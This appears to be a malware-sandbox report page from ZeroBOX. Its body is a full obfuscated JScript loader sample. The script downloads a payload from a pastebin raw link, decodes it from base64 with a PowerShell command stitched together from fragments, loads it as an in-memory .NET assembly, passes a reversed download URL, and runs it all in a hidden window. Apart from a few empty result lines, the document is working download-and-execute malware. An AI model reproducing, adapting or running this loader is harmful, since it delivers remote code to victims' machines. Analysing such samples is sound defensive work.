Static | ZeroBOX
No static analysis available.
function uZtBD( MPtfS ){
var VBaPB = new ActiveXObject("MSXML" + Math.round(1.9) + ".ServerXMLHTTP.6.0");
VBaPB.open ("GET", MPtfS, false);
VBaPB.send ();
return VBaPB.responseText ;
var sIcxa
sIcxa = ( "Z6Rb/ld/edoc/oi.slootw//:sptth" );
var izbxQ
izbxQ = "
https://pastebin.com/raw/NVAgzFRR"
izbxQ = uZtBD( uZtBD ( izbxQ.substring(5, izbxQ.length) ) );
var VJVNc ;
VJVNc = "$OjkYK = '" + izbxQ ;;;;;
VJVNc = VJVNc + "';$OjkYK = $OjkYK.Replace('" + "
".substring(5, 8) + "', 'A');" ;;;;;
VJVNc = VJVNc + "[Byte[]] $SiXvy = [System.Co";
VJVNc = VJVNc + "
nvert]::FromBas ".substring(5, 20) + "e" + Math.round(63.9) + "Str" + "ing( $OjkYK );" ;;;;;;
VJVNc = VJVNc + "[System.App" ;;;;;;
VJVNc = VJVNc + "Domain]::Curren" ;;;;;;
VJVNc = VJVNc + "tDomain." ;;;;;;
VJVNc = VJVNc + "Load($SiXvy).Get" ;;;;;;
VJVNc = VJVNc + "Type('ClassL" ;;;;;;
VJVNc = VJVNc + "ibrar" ;;;;;;
VJVNc = VJVNc + "y" + Math.round(2.9) + ".Clas" ;;;;;;
VJVNc = VJVNc + "s" + Math.round(1) + "').GetM" ;;;;;;
VJVNc = VJVNc + "ethod('prF" ;;;;;;
VJVNc = VJVNc + "VI').In";
VJVNc = VJVNc + "voke($nu" ;;;;;;
VJVNc = VJVNc + "ll, [ob";
VJVNc = VJVNc + "ject[]] ('" ;;;;;;
VJVNc = VJVNc + sIcxa + "' , '" ;;;;;;
VJVNc = VJVNc + WScript.ScriptFullName ;;;;;;
VJVNc = VJVNc + "' , " ;;;;;
VJVNc = VJVNc + "'false'" ;;;;;;
VJVNc = VJVNc + " ) );" ;;;;;;
var nSDFZ = "
powershell"
var LiYiH = new ActiveXObject("Shell.Application") ;;;;;;
LiYiH.ShellExecute(nSDFZ.substring(5, nSDFZ.length) , " -command " + VJVNc , "" , "open" , 0) ;;;;;;
No antivirus signatures available.
No IRMA results available.